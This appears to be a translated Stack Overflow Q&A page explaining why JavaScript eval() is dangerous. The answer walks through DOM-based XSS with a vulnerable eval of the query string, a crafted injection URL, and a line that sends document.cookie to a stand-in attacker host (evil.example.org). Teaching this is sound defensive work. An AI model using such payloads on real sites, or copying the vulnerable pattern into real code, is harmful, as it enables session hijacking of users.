javascript eval() 和安全性

标签 javascript security eval

developer.mozilla.org 说:

Don't use eval needlessly! eval() is a dangerous function, which executes the code it's passed with the privileges of the caller.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。这样他就可以把自己的功能执行等等。

一般来说是否存在“安全 javascript 代码”之类的东西?

最佳答案

Any malicious user can turn on chrome debugger for example, and modify javascript code that is being executed. So he can put his own functions to be executed etc.

是的,用户可以使用开发人员工具使用 JavaScript“攻击”他们自己的客户端 session 。

但是,eval 和开发人员工具之间的区别在于 eval 可以在可共享链接中执行内容。攻击者可以向他们的受害者发送一个链接,该链接利用了代码评估功能。

拿这段代码:

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

现在,如果查询字符串是 ?foo,您只会收到一个警告对话框,说明以下内容:您的查询字符串是 ?foo

现在假设 Chuck 向 Bob 发送了一封主题为“看看这个很棒的链接!”的电子邮件。

链接构造如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中 www.example.com 是您的网站。

这会将 eval() 执行的代码修改为

alert("Your query string was hello");
alert(document.cookie+"");

(为清楚起见,我添加了新行)。这将显示一个警告框,显示所有非 httpOnly cookie。

将其带到下一阶段,攻击者可以构建图像链接以将 session cookie 发送给自己

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为 Cross-Site Scripting (XSS)攻击。实际上,该类型是基于 DOM 的 XSS,具体而言。

Is there such thing as "secure javascript code" in general?

是的,针对 XSS 的安全代码可以被视为“安全的 JavaScript 代码”——它保护当前用户免受跨域攻击。但是,“相信”当前最终用户不会使用开发人员工具修改 JavaScript 代码或变量以使其对自己有利的服务器端代码并​​不安全。

因此,安全的 JavaScript 代码是仅保护当前用户的代码。

关于javascript eval() 和安全性,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39058482/

相关文章:

javascript - 未找到 Grunt 任务 (grunt-contrib-sass)

.net - 实现 DUKPT key 管理

ruby - 如何在动态生成的模块中运行 Proc?

perl - 我应该将 “eval”放在子例程中还是将该子例程放在 “eval”中?

php - 在数组中设置嵌套项

javascript - JavaScript 中特定于区域设置的小写/大写字符串操作

javascript - SyncFusion JS 图表 - 工具提示行为错误

javascript - 如何在文本区域中显示输入(名称+值)?

java - 为 HttpOnly 和 Secure 设置了 JSESSIONID

javascript - 如何防止作为 URL 字段的一部分发送的 XSS